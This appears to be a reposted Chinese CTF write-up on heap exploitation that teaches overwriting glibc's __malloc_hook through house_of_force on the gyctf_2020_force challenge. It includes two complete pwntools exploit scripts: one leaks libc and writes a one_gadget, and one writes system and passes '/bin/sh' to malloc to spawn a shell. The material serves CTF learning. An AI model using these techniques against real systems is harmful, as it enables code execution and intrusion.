pwn题堆利用的一些姿势 -- malloc_hook
2021/4/12 10:34:18
本文主要是介绍pwn题堆利用的一些姿势 -- malloc_hook,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
malloc_hook
- 概述
- 初级必备姿势
- gyctf_2020_force
- 常规搭配姿势
- 按需进阶姿势
- 总结
pwn题堆利用的一些姿势 – free_hook
概述
在做堆题的时候,经常会遇到保护全开的情况,其中对利用者影响最大的是PIE保护和Full RELRO,NX保护和栈保护对堆利用来说影响都不大,一般利用也不会往这方面靠。开了PIE保护的话代码段的地址会变,需要泄露代码段基地址才能利用存储在bss段上的堆指针;开了Full RELRO的话,则意味着我们无法修改got表,导致无法修改其它函数got表指向system,进一步获取到shell。因此也就有了我这一系列文章的目的,在got表无法被修改时,我们往往利用的就是下面的一些hook+onegadget来达到我们的目的。主要分为以下几个系列:malloc_hook --> free_hook …待补充
初级必备姿势
下面介绍入门必会的姿势 – malloc_hook,该函数是在malloc函数调用前会执行的钩子函数。在程序中,通常malloc_hook的函数地址对应值为0,也就是不会执行任何东西,我们在利用过程中将其覆盖为onegadget地址,这样再执行一次malloc就会执行onegadget。
gyctf_2020_force
接下来以2020年gyctf的一道pwn题为例,该题目中给了明显的提示要我们使用house_of_force进行漏洞利用。对该利用方式不熟悉的读者可以参考我另外一篇博文,pwn题堆入门 – Large bin。
简单分析下题目,程序本身很简单,保护全开,main函数中给了两个功能,一个add,一个puts,然后puts本身也没啥用,无法泄露信息,所以这里只贴了add的代码。如下图所示,add函数实现堆分配,对malloc大小没有限制存在house_of_force利用。图中我高亮的地方也打印出来每次分配的堆地址,后面往堆写内容时也可以进行溢出,所以house_of_force的利用条件是满足的。
利用思路:正如前面所说这里开启了Full RELRO,got表无法被改写,再加上题目本身也没有给泄露函数地址的机会,所以想到利用hook+onegadget合情合理。这里我们确定使用malloc_hook,malloc_hook在libc中,需要泄露libc地址,这里采用分配非常大的内存块方式来进行泄露,原理参考这里 --> pwn题堆入门 – Large bin。接着就是正常的house_of_force攻击了,下面直接给出wp。
from pwn import * ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so" libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so" p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path}) def add(size, content): p.recvuntil("2:puts\n") p.sendline("1") p.recvuntil("size\n") p.sendline(str(size)) p.recvuntil("bin addr ") info = p.recvuntil("\n", drop=True) # print(info) info = int(info.decode("ISO-8859-1"), 16) p.recvuntil("content\n") p.send(content) return info # context.log_level = "debug" # leak base + Top chunk addr base = add(0x200000, "aaaa") + 0x200ff0 print("base ==> ", hex(base)) pad = cyclic(0x10)+p64(0)+p64(0xffffffffffffffff) chunk_a = add(0x10, pad) top = chunk_a + 0x10 print("top chunk ==> ", hex(top)) # count hook + onegadget libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so") one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] malloc_hook = base+libc.sym["__malloc_hook"] print("malloc_hook ==> ", hex(malloc_hook)) one_gadget = base+one_gadget[1] print("one_gadget ==> ", hex(one_gadget)) # attack offset = malloc_hook-top-0x20 add(offset, "aaaa") add(0x10, p64(one_gadget)) pause() p.recvuntil("2:puts\n") p.sendline("1") p.recvuntil("size\n") p.sendline(str(0x10)) p.interactive()
这里贴出one_gadget的成功条件,以及再下两张图是gdb动态调试结果,结合程序打印结果,可以发现malloc_hook确实成功写入了one_gadget地址。我们再one_gadget处下断点,然后单步跟踪一下执行情况,毕竟one_gadget执行条件还不一定满足。
这里one_gadget成功的条件是$rsp+0x30==NULL,不过可惜这里不是,所以无法成功获取到shell。接下来就是一一尝试剩余的one_gadget,看看能不能碰运气满足一次。
常规搭配姿势
在上面初级姿势的尝试中,我们发现不是这么轻易的能够获取到shell,所以需要一些常规的搭配姿势来帮助我们。思路是这样的,将malloc_hook地址覆盖为system地址,然后在下一次malloc时将存储有"/bin/sh\x00"字符的内存地址传给malloc,这样我们就能实现system("/bin/sh\x00")调用获取到shell。下面直接看wp,注意对比注释和新增后的代码。
from pwn import * ld_path = "/home/fanxinli/libc-so/lib-23/x86_64-linux-gnu/ld-2.23.so" libc_path = "/home/fanxinli/libc-so/libc-2.23-64.so" p = process([ld_path, "./gyctf_2020_force"], env={"LD_PRELOAD":libc_path}) def add(size, content): p.recvuntil("2:puts\n") p.sendline("1") p.recvuntil("size\n") p.sendline(str(size)) p.recvuntil("bin addr ") info = p.recvuntil("\n", drop=True) # print(info) info = int(info.decode("ISO-8859-1"), 16) p.recvuntil("content\n") p.send(content) return info # context.log_level = "debug" # leak base + Top chunk addr base = add(0x200000, "aaaa") + 0x200ff0 print("base ==> ", hex(base)) # here is bin_sh pad = b"/bin/sh\x00"+p64(0)*2+p64(0xffffffffffffffff) chunk_a = add(0x10, pad) top = chunk_a + 0x10 print("top chunk ==> ", hex(top)) # count hook + onegadget libc = ELF("/home/fanxinli/libc-so/libc-2.23-64.so") # one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] malloc_hook = base+libc.sym["__malloc_hook"] print("malloc_hook ==> ", hex(malloc_hook)) # one_gadget = base+one_gadget[1] # print("one_gadget ==> ", hex(one_gadget)) sys = base+libc.sym["system"] print("system ==> ", hex(sys)) # attack offset = malloc_hook-top-0x20 add(offset, "aaaa") # add(0x10, p64(one_gadget)) add(0x10, p64(sys)) pause() p.recvuntil("2:puts\n") p.sendline("1") p.recvuntil("size\n") # p.sendline(str(0x10)) p.sendline(str(chunk_a)) p.interactive()
如下图所示,是gdb动态调试的结果,可以看到malloc_hook处被成功覆盖为system函数地址,这里和上面的操作一样在system处打下断点,可以逐步分析system的执行情况,最终可以成功执行获取到shell。
按需进阶姿势
总结
不忘初心,砥砺前行!
这篇关于pwn题堆利用的一些姿势 -- malloc_hook的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23增量更新怎么做?-icode9专业技术文章分享
- 2024-11-23压缩包加密方案有哪些?-icode9专业技术文章分享
- 2024-11-23用shell怎么写一个开机时自动同步远程仓库的代码?-icode9专业技术文章分享
- 2024-11-23webman可以同步自己的仓库吗?-icode9专业技术文章分享
- 2024-11-23在 Webman 中怎么判断是否有某命令进程正在运行?-icode9专业技术文章分享
- 2024-11-23如何重置new Swiper?-icode9专业技术文章分享
- 2024-11-23oss直传有什么好处?-icode9专业技术文章分享
- 2024-11-23如何将oss直传封装成一个组件在其他页面调用时都可以使用?-icode9专业技术文章分享
- 2024-11-23怎么使用laravel 11在代码里获取路由列表?-icode9专业技术文章分享
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享